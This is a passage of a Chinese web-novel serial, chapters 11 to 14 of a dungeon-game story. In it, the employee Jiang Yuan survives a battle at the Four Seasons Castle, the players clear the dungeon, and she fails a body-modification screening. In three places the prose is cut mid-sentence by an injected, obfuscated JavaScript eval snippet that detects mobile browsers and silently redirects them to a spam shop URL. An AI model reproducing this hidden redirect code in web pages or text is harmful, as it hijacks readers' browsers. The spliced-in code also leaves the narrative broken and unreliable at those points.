房间里只有叶安娜一个人,她看见李雨乔,立刻正襟危坐,身体上再次浮现出严重的病症。 李雨乔说:“别装了,我知道这个副本里的BOSS是【员工】。” “啊?”叶安娜有些懵。 没有人教过她这种时候应该如何应对玩家,在她进入副本前,甚至没有人告诉过她应该如何支配副本BOSS,注意事项什么的她一概不知。 她说想要做些事情,父亲一句话把她安排到了噩梦厂。 所有人都对她敬而远之,没有人真心教她。 “怎么,你不是【员工】?”李雨乔的语气充满失望。 她转身就要离开。 “等等!”叶安娜叫住她:“你不用给我问诊吗?” 李雨乔没有回头,一直朝门外走。 叶安娜急了,她需要留住玩家,自己没有技能,至少也要给张川制造机会。 她大声道:“我当然也是【员工】!” 此话一出,李雨乔终于停下脚步。 她转过身,苍白的面容浮起一丝笑容:“很好,既然你是【员工】,” “那你手上有【资格】吗?” “什么?” “你没有【资格】,就无法带来我想要的东西。”李雨乔看着叶安娜,平淡地叙述着自己的价值观:“你是一个没有价值的人。” “我的时间是有价值的,你不值得我浪费时间。” 李雨乔的这份平淡成功激怒了叶安娜。 叶安娜生来最恨这种淡漠的、不把她放在眼里的人。 她摘下脖子上的项链,房间里很暗,项链上的宝石却泛起耀眼的光彩。 “你刚才......说什么?”叶安娜咬紧牙关,说出的每一个字都带着怒火。 李雨乔攥紧口袋里的纸条。 11. 四季城堡8 叶安娜的项链是一件珍贵的【道具】,可以储藏一定量的任意形式能量,包括玩家的【非凡能力】。 父亲把项链送给她时,告诉她里面已经储存了能力,这项能力来自一个高级玩家,名叫【囚困之境】,可以完全封闭一个空间,空间中任何力量无法伤害到使用者。 “很契合现在的情况,正是使用它的时机。”叶安娜心中暗道。 她手指轻轻抚过项链的主石,硕大的红宝石闪烁起不自然的光芒,仿佛在回应她。 无声无息间,【囚困之境】发动。 无形的力量萦绕在叶安娜周围,迅速蔓延到整个房间。房间似乎被一层透明的罩子包裹起来,与外界隔绝成一个独立的空间,连风也不能出入。 “你,不简单啊。”鲜血顺着李雨乔的面颊流下,她受了伤,此刻烦躁的心情再上一层楼:“这是什么,大玻璃罩子?” “想靠这个把我困在这里,你还太嫩了。”她冷哼一声,从口袋里掏出那张金贵的小纸条。 纸条被翻起对折成好几层,边缘磨出了纸屑,可见已经转手了多少任主人。 李雨乔小心翼翼地打开纸条。 纸条上只有一句话,是用黑色的水性签字笔写上去的,字迹很潦草,夸它一句就是写字一笔一划还算工整,说难听的实话就是小学生都写不出这样丑陋的狗爬字。 看清纸上的内容,李雨乔心中哭笑不得,心想那位大人果然名不虚传,是放荡不羁爱自由的类型,有强大的实力和不羁的灵魂。 纸条上写着一句歌词,是家喻户晓的洗脑神曲“洗刷刷”: “请你拿了我的给我送回来。” “吃了我的给我吐出来。” 这是那位大人的能力——【言灵】。他可以通过把话写在纸上赠与他人,组织成员偶尔能得到一两句话,大家根据话的内容不同进行分类,小纸条就此在组织内部流通。 给李雨乔纸条的老玩家告诉她,这张纸条可以用来“掠夺”。 掠夺【财富】,掠夺【资格】,掠夺【生命】,随便什么都行,因为那位大人写下这句话时想的就是掠夺,于是这句话被赋予了抢夺一切的权柄。 李雨乔决定先用掉几个字,最好能多保留一点,这样她还有机会从公爵和女仆长手中抢夺【资格】,这才是她此行的目的。 她缓缓开口,声音带着不容拒绝的力量:“请你——” 她的声音如同离弦的利箭,狠狠刺向叶安娜。 叶安娜周围的空气泛起涟漪般的波纹,两种力量冲撞在一起,一柔一刚,如猛兽入海、蛟龙出水,激起千层浪花。 强大的冲击波发出爆炸般的巨响,城堡高层瞬间被夷为平地! “这是什么情况?!” 张川和姜原二人赶回城堡时,只见断壁残垣,四季城堡一片狼藉。 断壁残垣之中,李雨乔和叶安娜的战斗还未停歇,双方仍在僵持。 李雨乔意识到叶安娜的这项能力不简单,笼罩自己的这个透明罩子说不定也是一个玩家的【非凡能力】,提供能力的玩家虽然比不上那位大人,但也绝非善类,不是自己这种连【资格】都没有的低级玩家能染指的圈层。 她想过走为上计,但【囚困之境】限制着她,她无法踏出房间范围半步。 见姜原和张川二人赶到,李雨乔明白自己的机会不多,她必须做出抉择。 “原本我不打算把珍贵的【言灵】全都用在你这样缺少价值的人身上。”李雨乔咯咯地笑着,脸上鱼鳞状的肉瘤簌簌掉下粉尘:“是你逼我出手的。” “杀掉一个【员工】,我就不算空手而归,组织还有再次重用我的希望!” 强烈的不安涌现在姜原心头,迫切促使她想要进入光圈,阻止李雨乔接下来的行动。 叶安娜此时也大喊道:“别让她继续说话!” 来不及了,李雨乔张开嘴,念出了纸条上的最后几个字: “吃,了,我,的,给,我,吐,出,来!” 话音落下,李雨乔四周的气流狂暴地涌动起来,她的声音带着掠夺的力量超叶安娜侵袭而去。 加上最后几个字,【言灵】的力量终于突破封锁,撕开一条缝隙。 【囚困之境】再难抵挡,透明的保护层开裂,裂纹逐渐向上蔓延。 叶安娜绝望地闭上眼睛。 保护层碎裂的一刹那,阻隔房间内外的力量消失,姜原冲进房间,一把拽住站在原地的叶安娜。 “站着不动,准备等死吗!”姜原怒道。 她觉得叶安娜真傻,至少也要挣扎着躲一下吧。 叶安娜缓过神来,顺着姜原拉拽的力量向一旁闪躲。 可惜没有用,掠夺的力量转瞬间突袭至眼前,强大的冲击力将二人淹没。 “喂,你就这么想救她吗?” 生死一刻之际,姜原脑海中又响起女人的声音。 “我必须救她。”姜原觉得自己可能会死,现在说的每一句话都将成为遗言。 遗言里不应该提到工作,可她暂时也想不出别的话题,还是说道:“副本出了这么严重的事故,如果叶安娜死了,最后顶缸的人一定是我。” “张川是领导,顶多降级处理,而我可能会直接被开除。” “那又如何?”女人不屑道:“反正你也不喜欢工作。” “......”姜原一时语塞。 “你真的在乎这份工作吗?”女人继续反问:“你在乎的,到底是什么?” “我只是单纯想救她,别的理由都是借口。”姜原略微沉思,在心里对自己说:“有能力救别人而看着她去死,这样的事我做不到。” 脑海中传来女人的笑声,这种带着气音的冷哼,姜原越发觉得耳熟。 “你到底是什么东西?”姜原嫌恶道:“我快死了,最后遗言竟然交代给你这种疑似分裂人格的产物。” “不要这样说。”女人的声音很轻,像舒缓的气流拂过姜原的头脑:“我就是你啊。” “你知道现在这种情况下,最好的结局是什么吗?”女人问道。 “我很难想到什么积极乐观的结局。”姜原看向四周。 在她和脑海中的女人对话时,周围的一切都静止了,【言灵】的冲击波就在她身后不到一指的距离,飘飞的尘土清晰勾勒出冲击 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17166824|196754||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 波的轮廓。 这应该就是走马灯了,她在死前最后一次和自己说话。 “一定会有好的结局。”女人的语气很坚定:“车到山前必有路,水靠岸边自然停。你需要明白眼下这个问题的‘岸’是什么,你希望这件事如何了结?” “我想这场闹剧赶快结束。”姜原说。 “哎呀,这可不行。”女人说:“你要说的具体一点。” “所见之地,方为所达。只有清晰地看到脚下的路,明白事情发展的始末原委,我们才能到达已知的彼岸。” 姜原叹气:“好吧。” 她略一沉吟,在心底诉说自己的期望。 “我想躲开李雨乔用【言灵】发出的攻击。”姜原说。 “我想躲开李雨乔用【言灵】发出的攻击。”女人也说。 “我看到我和叶安娜安然无恙地站在废墟中,李雨乔的攻击落下,但我们都没有受到致命伤害。”姜原说。 “我看到我和叶安娜安然无恙地站在废墟中,李雨乔的攻击落下,但我们都没有受到致命伤害。”女人又说。 时间再次开始流动。【言灵】带着不可一世的气息袭来,所到之处似乎要把所有带有生命气息的物质统统掠夺。但经过姜原和叶安娜身边时,它像一阵风一般掠去,只惊动二人纷飞的发丝。 纸条上的最后几个字散去,姜原和叶安娜站在废墟之上,毫发无损! “这,这怎么可能!”李雨乔不可置信地尖叫起来,纸条在她手中化为灰尘。 “想要变强,就去探索更多真相吧。”女人的声音若即若离,在姜原脑海中回响。 她一听就没了兴趣:“我不需要变强,到我现阶段这个级别,升职早不是靠实力可以解决的。” “混工资而已,那么认真干嘛。” 女人久久不语,似乎为姜原神奇的脑回路感到震惊。 “逻辑错了。”女人轻笑:“是为了得知真相,所以我们才要变强。” “好奇的火苗一旦燃起就再难熄灭,我们就是这样的人。”她的声音像蛇吐出的信子,缠绕在姜原心上:“当世界的真相摆在面前,你,我,绝不会袖手旁观。” “你们没事吧?!”张川冲到二人面前,焦急地打量叶安娜,生怕她出了事自己无法交差。 姜原再度确认只有自己能听到女人的声音,果然是自己的脑子可能出了点问题。 她打开自己的个人面板,系统还没有恢复,她依然无法连接BOSS身份。 突然,她发现个人终端界面有不同。 在以前就有的常用模块下面,出现了一个新的版块,格式和支配副本BOSS时使用的技能十分类似。 【摆渡】 车到山前必有路,水靠岸边自然停。岸在哪边,这是你需要搞清楚的问题。 类型:主动技能; 冷却时间:无固定冷却时间,该使用的时候你自然会知道。但频繁使用的代价你真的支付得起吗? 施加目标:???; 解锁进度:1%(得知真相越多,解锁进度越高); 效果说明:所见之地,即为所达。 12. 四季城堡9 “看来一时半会我们无法连接副本BOSS。”张川叹气:“如果玩家们在我们技能恢复之前找到最后的线索,制作出公爵夫人的‘药’,就只能放他们离开了。” “真是便宜他们了。”叶安娜不满道。 “大小姐,你能捡回一条命都是运气好。”张川扶额:“你要是出事了,我可怎么向你父亲交代!” 叶安娜垂下眼眸,难得安静下来。 张川摇了摇头,一副恨铁不成钢的样子。 楼梯基本塌陷,张川直接从原本楼梯间的位置跳了下去。 半晌,叶安娜才低声道:“我是想拖住那个叫李雨乔的玩家,好等你回来使用技能。” 张川已经走远,他没有听到叶安娜所言。 姜原听到了。 “同在上班,大家都在负重前行,没有人有义务背起你往前跑。”姜原说:“虽然这很残酷,但现在的职场环境不会有人专门停下来教你,用脸landing的人比比皆是。” “多观察别人是怎么做的,慢慢学,当你发现自己不再给别人添麻烦时,或许就能和大家并肩前行,做一些有意义的事了。” 言尽于此,姜原也顺着残破的楼梯,朝一楼大厅的位置走去。 一楼大厅,城堡的大部分设施在先前两种【非凡能力】的对撞中基本毁坏殆尽。 但即便背后的墙壁已经坍塌,那座豪华的吊钟依然伫立原地,仿佛一道不可动摇的根本指令。 “这样看来,最后的谜题还是在这座钟上。”花臂男仔细端详吊钟:“我觉得这根时针的形状很奇怪,像一把剑似的,要不我动一下时针试试。” “不可以动这座钟。”立刻有人阻止:“你们忘了第一天下午张嘉豪是什么下场吗?!” “这话听起来像是我已经死了一样。”张嘉豪挠头:“不过确实,那天我什么都不懂,轻易叫人当枪使了。” 他话锋直指李雨乔。 可惜在和叶安娜对决中战败后,李雨乔便躲藏起来,不见踪影。 “问题大概就在指针上。”看着时针宛如骑士剑的特异形状,沈系舟心中明悟。 “利剑刺穿心脏的痛,要用血来偿还。” 他伸手触摸吊钟的指针,手掌合拢紧紧握住指针锋利的边缘! “滴答——滴答——” 沈系舟的掌心被划破,鲜血顺着指针流下,暗红的液体染湿铜色的指针。 整座吊钟忽然颤动起来,表盘上四种颜色的鳞片缓缓开合,从春天开始,形成逆时针的波纹,仿佛人鱼在池塘中巡游,追逐着太阳移动的光点。 沈系舟明白了这座钟的用意—— 群游鱼群中的个体会通过模仿周围同伴的游动方向保持队形,当捕食者靠近时,群游鱼会通过突然加速或改变方向警示同伴。 现在钟面上鳞片有规律的颤动,这是一种催促的信号,鳞片的颤动就是吊钟给玩家最后的提示。 他染血的手握紧时针,顺着鳞片颤动的方向拨动时针。 “我的天,小哥,你在干什么!”看到沈系舟竟然动了那座钟,花臂男大惊,急忙上去拦住沈系舟:“你忘记嘉豪仔是怎么受伤的吗,你不要命啦。” 沈系舟抬起另一只手,示意他噤声。 花臂男不再说话,抬手捂住自己的嘴表示不会再发出声音,胆战心惊地看着沈系舟。 沈系舟继续拨动时针,时针卡槽很牢固,他感觉自己仿佛在和某种未知的存在角力。 时针移动,他的口袋忽然颤动起来。 口袋里只有一样物品,密林中的迷雾消散时,他在池塘边捡到的那块骨头—— 被人鱼祝福过的爱丽丝的遗骨。 骨头从口袋中飘出,漂浮在半空,竟幻化出爱丽丝的虚影! 随着时针转动,从春天开始,她度过寒冬,留恋过秋天,奔跑过盛夏。 城堡的时钟将爱丽丝的一切归还,四季在她身旁流转,逝去的时光填补血肉,她虚幻的身形渐渐凝实。 时针再次逆转到春天时,钟摆震荡,悠扬的钟声嗡鸣。 晨曦从古堡残破的窗户射入,她站在阳光里,蕾丝帽,花边裙,笑意盈盈,一如当年照片中浸在蜜罐里的女孩。 众人惊奇地看着眼前凭空出现的女孩。 在场众人只有花臂男跟着沈系舟去了冬夜里的密林,其他人至今还蒙在鼓里,对四季城堡背后的故事一无所知。 爱丽丝并没有真正复活,她的身体只是由那块骨头幻化出的虚影。 她朝四周张望,似乎在找什么东西。 玩家们不明所以,只能报以茫然的眼神。 终于,爱丽丝目光瞄向姜原的口袋——女仆长的围裙口袋里挂着一支钢笔。 她提起蕾丝花边的裙摆,朝姜原跑来,像一头小鹿。 爱丽丝拿起笔,朝姜原笑笑。 姜原也朝她微笑,递给她一张羊皮纸。 姜原知道,这是故事里的爱丽丝在和她的侍女姐姐打招呼。 尽管自己并不是真正的侍女姐姐,姜原还是对这个虚幻的npc回报笑容。 “这小女孩哪来的?” “她要写什么?”玩家们想好奇地一拥而上,又不敢靠近张川和姜原等身着作战服的【员工】,只得在一旁观望,三三两两窃窃私语。 爱丽丝提笔,在纸上留下稚嫩的笔迹。 那天夜里,大雪飘飞,公爵忽然来到她的房间,叫女仆长给她穿好衣服,急匆匆领着她出门,从此一去不返。 爱丽丝早有心理准备,她已经给洋娃娃提前换上春装,整理好自己从小到大最喜爱的玩具,把今年要送给梅露辛的礼物藏在床底下。 为这一刻的离别,年幼的她做了许多准备。 但她还有想说的话没来得及说出口。 她写道:“妈妈,我爱你。” 这是公爵夫人的解药。 沈系舟接过爱丽丝的纸条,爱丽丝微笑着在春风中消散,这一次没有掉落那块骨头。 梅露辛临死前将最后的祝福赐予爱丽丝的遗骨,希望她遗愿得偿。 此刻爱丽丝已经没有遗憾,人鱼的祝福应验了。 沈系舟走到三个【员工】面前,把纸条递给张川。 众员工目睹了一切,心里清楚玩家已成功通过“四季城堡”副本。 如果系统没出BUG的话,此时通关公告应该已经响起。 姜原看向张川,只见他点点头,把纸条递给姜原。 姜原转身,拧开虚空中无形的副本之门。 这次的门是厚重古朴的欧式风格,漆黑的实木雕刻着金色的花纹。 “各位玩家,恭喜你们通关‘四季城堡’副本。” “公爵夫人得到治病的药,各位名医,慢走不送。” 身后是逃生之门明亮的光芒,面前是城堡的断壁残垣和满面尘灰的玩家,姜原站在二者中间,优雅行礼,一如四季城堡恪尽职守的女仆长。 “太好了!”人群中传出欢呼。 这次副本共六名玩家,虽然大家都受了伤,但无一人死亡,大家欢呼雀跃,相拥而泣,庆幸自己又逃过一次副本,捡回一条性命。 “快走快走,省得一会这些副本BOSS反悔。”张嘉豪迫不及待夺门而出。 其他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17166825|196754||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 玩家也陆续离开,转眼场上玩家只剩沈系舟和消失不见的李雨乔。 “你不走吗?”姜原倚在门边,冷眼看向沈系舟。 此人知道的很多,擅长钻BOSS技能的BUG,是相当棘手的玩家。 最关键的是,他似乎认识失忆前的自己。 此时张川和叶安娜都在场,如果他再说些不合适的话,恐怕会给自己惹来大麻烦。 “呵呵。”似乎品出姜原话里逐客的意思,沈系舟玩味一笑:“别急,我要等一个人。” 他话音刚落,角落里忽然窜出一个人影,极速朝门闯去。 沈系舟身手矫健,拦住人影,利落地将其扣押在地。 这急着夺门逃走的人影,正是先前躲藏起来的李雨乔! “这会想起来要跑了?”沈系舟笑得很和煦:“别的玩家不与你计较,可我还有些事要问你。” “喂,我又没有坑你,你拦我干什么?”李雨乔试图蒙混过关,挣扎着想要站起身来。 “那你躲什么?”沈系舟把她钳制得更紧:“从你暴露自己‘资格猎手’身份的那一刻起,你就应该猜到会被别人盯上吧。” “我——”李雨乔想要辩解。 “够了,不要挑战我的耐心,这位小姐。”沈系舟面色不改,说话的语气却冰冷得让人如临深渊:“你们组织成员之间是怎么相互联系的?” 李雨乔脑筋一转:“我们在副本外有特定的联络点,联络点一周一换,上层玩家有特殊的能力,可以通知我们联络点的最新位置。” “你和我一起出副本,我带你去最新的联络点,我还可以介绍你加入我们组织!” “说了不要骗我。”沈系舟面色阴沉下来,狠狠踩住李雨乔的手,李雨乔面色铁青,痛苦地蜷缩身体。 “我手背上种了一个印记,你放我走,我把印记给你。”李雨乔声音都在打颤。 “印记在你手上,你要怎么给我?”沈系舟松开她。 “川哥,玩家们互相内斗,我们不管没关系吗?”叶安娜凑到张川身边,轻声发问。 “不用管,按照规定副本大门会保持开启30分钟,玩家走不走是他们自己的事。”张川回答。 叶安娜思考片刻,又礼貌地问出下一个问题,再次得到张川的回复。 看到此景,姜原露出一抹笑容。她的话,叶安娜有听进去。 “啊!”李雨乔一声痛呼。 姜原朝她看去,只见她左手握着一把锋利的匕首,一刀切下自己的右手! 鲜血止不住地喷涌而出,李雨乔用牙齿撕下自己的袖子,把伤口扎紧。 “拿着我的手,在手腐烂之前,上面的印记还能用几次。”她咬牙站起身,踉跄着走到门前,终于坚持不住,身体猛地一晃就要摔倒在地。 姜原伸手扶住她。 “为什么要做‘资格猎手’?”姜原很好奇李雨乔为何如此执着:“即便付出这样惨痛的代价也在所不惜吗?” “看来你只是个什么都不懂的低级【员工】。”李雨乔扶着姜原的手站稳:“【资格】是副本里最有价值的东西。” 她神情癫狂,一瞬间仿佛忘记了疼痛:“获得【资格】,就可以进入白塔,得到神赐的力量!” “神赐的力量?”姜原心中思索:“是指沈系舟提到的【非凡能力】吗?” 她愣神间,忽然被牵住胳膊,上半身被拽进半开的副本大门中! 姜原定睛一看,沈系舟在一旁拉着自己。 他轻笑:“有些话不方便在副本里说。” “我们还会再见的。”言罢,他松开手,径直朝门的黑洞中走去。 13. 【员工】改造计划 确定玩家全部离开后,姜原和张川等员工也离开副本。 脑机舱缓缓打开,姜原睁开眼睛。 梳洗完毕后,她看了一眼时间。3:35,时间还很早。托沈系舟的福,玩家们只用不到两天的时间就通关了“四季城堡”副本,【员工】们在副本中的工作时长也相应减少。 从脑机工作室走出,姜原的个人终端便亮起新的提示。 “三级【员工】姜原,您提交的改造申请已审批通过,请您及时查看。” 姜原心中暗喜。 成为大厂【员工】的好处,除了更高的副本质量,还有大厂独有的“改造”计划。 为了提高自己【员工】的整体素质,业内多家大厂都给【员工】提供改造自己身体的机会,可以帮助【员工】改善身体素质,提高精神抗性,对未来的成长发展大有裨益。 虽然她还在试用期,但噩梦厂出手阔绰,她得知自己也有机会入选改造计划后便立刻进行申报,没想到这么快就有了回复。 但改造计划需要自费,顶多针对高级【员工】有一些特殊折扣。 姜原之前卖了自己的【广播】技术,赚了一大笔钱,就是为了用在改造计划上。 她心念一动,个人终端便弹出改造申请的详情信息。 姓名:姜原 工号:10473289 级别:三级 岗位:副本支配者(试用) 恭喜您入选我司【员工】改造计划,请于3791年7月3日前到A厂区8号工作室进行体检,后续具体改造计划将由专家为您量身定制。 今天是7月1日,不过她今天的副本任务已经完成,正好没事。 姜原决定现在就去。 A厂区8号工作室,男女老少出入往来,络绎不绝。 这是噩梦厂专门用于改造计划的工作室,会来这里的只有两种人:来负责改造的专家和接受改造计划的【员工】。 往来之人有年轻男女,有爷叔阿姨,甚至也有幼童稚子。这些人都是噩梦厂的【员工】。 从沈系舟的话里,姜原猜测自己是在某个副本游戏中濒死之际成为了【员工】。 那么这些人呢,他们又是通过什么契机成为【员工】的? 【员工】的筛选标准究竟是什么,如果作为副本支配者需要良好的身体素质,那为何老人和小孩也可以成为【员工】? 姜原抬起头,只见一片白茫茫的天空,泛着明亮柔和的光芒,和副本前置空间的墙壁很相似。 没有云朵,没有太阳,这就是她成为【员工】以后所处世界的天空。 她走进8号工作室,出示自己的个人终端,立刻有机器人接引她做检查。 “嗯,力量7,速度8,敏捷8,耐力7......” 咨询室内,专家扶了一下自己的眼镜框,微眯的眼睛闪出精光:“姜小姐,你的身体素质很优秀,非常适合改造。” “那太好了。”姜原波澜不惊:“请给我安排一下改造计划。” “且慢,容老朽问一个问题。”老专家穿着一身白大褂,看着终端上姜原的身体数据,轻轻拈起山羊胡须:“我看到你成为【员工】的入行评定等级只是最低的七级。” “为什么你入行的等级这么低,你后来接受过改造吗?” 姜原摇头:“我入行时也做过一次素质测试,我可以给你看看数据。” 她打开自己的个人终端,调出自己入行体检时的数据给老专家看。 老专家看到数据,发现姜原入行时的身体素质和现在不遑多让。 “这可真是奇怪。”他看着姜原:“看到数据后,我确定你之前没有接受过改造,可为什么你的身体素质这么优秀,入行评定等级却如此低?” 熟悉的感觉涌上心头,姜原看着面前的小老头,知道他在思考原因。 这种时候不需要她回答,研究问题的人看似在问别人,其实是在问他自己。 意外的,她很熟悉这种处于思考状态下的感觉。 “可能的原因有很多,但概率都极低。”老专家缓缓开口:“我认为只有一种解释的概率比较高。” “在成为【员工】之前,你的身体有一部分能量消失了。” “什么意思?”一瞬间,无数猜测拂过姜原心头。 她按下心神,希望老专家能给出答案。 “呵呵。”老专家摇摇头:“能量是最玄妙的话题。如果说科学来源于神学,那我认为能量就是沟通两个世界的桥梁。这其中的弯弯绕绕,哪是我一介愚夫能勘破的?” 听完他的话,姜原顿时感觉这个老家伙不是医生,而是个神棍。 “姜小姐,你先前的检查结果已确认全部符合标准。只需要完成最后一项检测,就可以正式开启你的专属改造计划。”老专家的神情严肃起来。 “在此之前,我需要向你确认一个严肃的问题。” “您请说。”看到他严肃的神情,姜原不由得也严肃起来,挺直了脊背。 “改造计划花费巨大,你钱够吗?” “够,肯定够。”姜原差点没气笑出来。 老专家和蔼地笑了:“那就好,先前提起入行等级的问题,你似乎很困惑,希望我的话没有带给你困扰。” “年轻人,一时想不通的话就继续向前走吧,哪怕看不到终点也好过原地踏步。” 听到此话,姜原想起脑海中那个女人所言:“所见之地,即为所达。” 老专家递过来一张检查表:“拿着这张表,去做最后一项检查。” “根据我的经验,前面身体检查数据很好的人,最后一项检查无一例外都通过了,所以不用担心。” “谢谢您,老先生。”姜原点头致谢,接过检查表。 按照老专家的指示,姜原抽血,化验,最后躺进一台仪器,被不知道什么光波全身上下扫描了一遍。 刚开始一切都很正常,直到姜原发现自己周围往来的护士越来越多,手中积攒的检查报告也越来越厚。 “我这是怎么了?”完成最后一项检查后,她终于逮着机会问医生。 医生叹气:“姜小姐,我有两个消息要告诉你,你想先听哪一个?” “我想先听好消息。”听到医生叹气,姜原心一沉,立刻做出选择。 “两个都是坏消息,没有好消息。” “那你随便说吧。”姜原扶额。 “第一,你的最后一项检查未通过。”医生沉声道:“我知道这是很罕见的情况,所以我们额外做了许多辅助检查,暂时还没有找到未通过的原因。” 听到此话,姜原知道自己苦心规划的改造计划泡汤了。 她觉得很难再有别的问题打击到她,便问道:“第二个消息呢?” “第二,我们在你的脑子里发现了疑似肿瘤的增生物。”医生说:“我们只是噩梦厂负责【员工】改造的工作室,更详细的检查建议您前往专业机构完成,建议您尽早就医。” 姜原第一时间就想起在“四季城堡”副本中,她濒临死亡之际,听到了来自大脑的声音。自己的脑子果真出了问题? 那个人终端页面上出现的新技能【摆渡】要如何解释,是脑子里的增生物导致她看见的吗? 直 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17166826|196754||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 到走出改造工作室的大门,姜原都还处在精神恍惚的状态。 最近事故频发,从辞职跳槽,到试用期的第一个副本被“资格猎手”和叶安娜的【道具】损毁,无数纷乱嘈杂的信息争先恐后涌入她的大脑,像是江河湖海一瞬间要冲破塑料水瓶狭窄的瓶口。 姜原在路边房檐下找了处阴影蹲下来,拧开手里的饮料瓶,看着头顶莹白的天空渐渐黯淡,这是夜晚降临的预兆。 “小姑娘,能把你手里的瓶子给我吗?” 姜原回头,看见一个流浪汉蹲在自己旁边。 这人衣着邋遢,破烂的衣服已经看不出原本的颜色,浓密的胡须将五官掩埋,看不清相貌。 好家伙,她的饮料还一口没喝,瓶子就已经被人盯上了。 “大爷,我这瓶饮料才刚拧开,不能给你。”姜原对着他晃了晃饮料瓶。 “不过这个可以给你。” 她把手中的瓶盖抛给流浪汉。 流浪汉很精准地接到瓶盖,翻转手心一看,惊喜道:“呦,再来一瓶!” “小姑娘你运气很好嘛。”他忽然话锋一转:“不过我的运气也很好,竟然真的遇到你。” “!”姜原立刻警惕起来,肌肉紧绷,做好随时战斗的准备。 有沈系舟的前车之鉴,她立刻想到这个流浪汉难道也和她的过往、那个名叫“江不渡”的女人有关联? “呵呵,别紧张,我以前没有见过你,今天遇到你也是纯粹的巧合,没有什么蓄意谋划。”流浪汉露出一口白牙,试图降低姜原的警惕性。 他伸手指向一旁的建筑物,正是姜原先前做检查的改造工作室。 透过二楼的玻璃窗,可以看到热身区里各色【员工】正在热火朝天的训练,努力挥洒汗水,配合改造计划来提升身体素质。 他看向姜原,浑浊的眼珠流露出不易察觉的清明:“你知道楼上的这些人在干什么吗?” 姜原不知道他想表达什么,只说:“他们想接受噩梦厂的改造计划。” 流浪汉嘿嘿一笑,看起来不怀好意:“哪有这么简单。” 他站起身,一手指向二楼:“他们想成为【容器】”;另一只手指向蹲在地上的姜原:“而你,已经是【容器】了”。 他的身形出乎意料的高大,在地上投射出漫长的影子,把姜原笼罩其中。 姜原心中涌现一丝不安,她也站起身,目光直视流浪汉:“什么意思?” 流浪汉从口袋里掏出一把洁白的钥匙递给姜原:“藏好这个,下次副本结束的时候用这把钥匙开门。” 同一时间,姜原自己的声音也在脑海中响起,和眼前流浪汉的声音重叠,一个沧桑,一个冰冷: “真相或许一直在某处等你,想知道不如自己去看。” 头顶莹白的辉光渐渐暗去,这个世界的天空呈现出宛如月色的昏暗光芒。 姜原攥紧掌心,钥匙在手掌中印下轮廓,似乎要嵌入肉中。 她打开个人终端页面。 只见先前出现的技能模块内容发生改变,最下方出现一行提示。 【摆渡】 车到山前必有路,水靠岸边自然停。何处是岸,这是你需要搞清楚的问题。 类型:主动技能; 冷却时间:无固定冷却时间,该使用的时候你自然会知道。但频繁使用的代价你真的支付得起吗? 施加目标:???; 解锁进度:2%(意外得知【容器】这一概念); 效果说明:所见之地,即为所达。 提示:用钥匙打开副本大门,真相或许在门对面等你。 14. 跟踪 姜原拉开窗帘,明亮柔和的光线唤醒她朦胧的睡眼。 又是崭新的一天。 她随便泡了一碗营养粉当早餐,收拾整齐着装,准备出门上班。 推开门的前一秒,她站在衣橱前,想了想,还是从一件厚大衣的口袋里掏出两样小东西,装在手包的内袋里。 两件小东西,一个是那块能显示副本外时间的手表,另一个是昨天八号工作室外流浪汉给自己的钥匙。 这种未知用途的特殊物品,还是随身携带比较保险。 推开门,鳞次栉比的高楼映入姜原眼帘。 【员工】的生活区集中在一块地势较低的区域,这里开发建设了大批公寓和住宅房,从便宜的鸽子笼到昂贵的别墅应有尽有。 姜原习惯早上搭乘上升电梯去工作。副本运营公司集中在地势较高的区域,上升电梯贯通生活区到工作区,是大部分【员工】通勤的不二之选。 上升电梯这种廉价交通工具没有座位。好在大家都很有素质,各自在电梯中占据狭小的一块空间,尽量不打扰到他人。 姜原微微侧过头,透过电梯透明的侧壁看到脚下生活区的高楼越变越小,渐渐消失在视野中,两侧又横空出现新的高楼大厦,像高大的树木攀援在山石上。 这样的风景,从她成为【员工】以来,已经看了三百天有余。 相似的风景入眼,这时她总会想,【员工】们真像活在一座塔里。 “欢迎您,四级【员工】姜原。”姜原走进噩梦厂大门,系统检测到她的个人终端,自动帮她完成上班打卡。 眼前人群熙攘,每个人都带着噩梦厂颜色各异的工牌,奔向自己的工位、自己的战场。 姜原伸了个懒腰。今天是她来到噩梦厂完整的第一天,她已经准备好迎接崭新的工作和焕然一新的生活。 就在这时,她的个人终端传来消息提示音,有人给她发送信息。 姜原心念一动,新消息在眼前展开。 是张川,要她上班后立刻赶到B区3号小会议室,关于昨天的“四季城堡”副本有遗留问题丞待解决,需要给上面一个交代。 姜原深吸一口气,昂扬的心情迅速平息,日常上班那种古井无波的淡然又回到她身上。 今天是她来到噩梦厂上班的完整的第一天,而今日第一项工作是处理昨天副本爆炸的烂摊子。 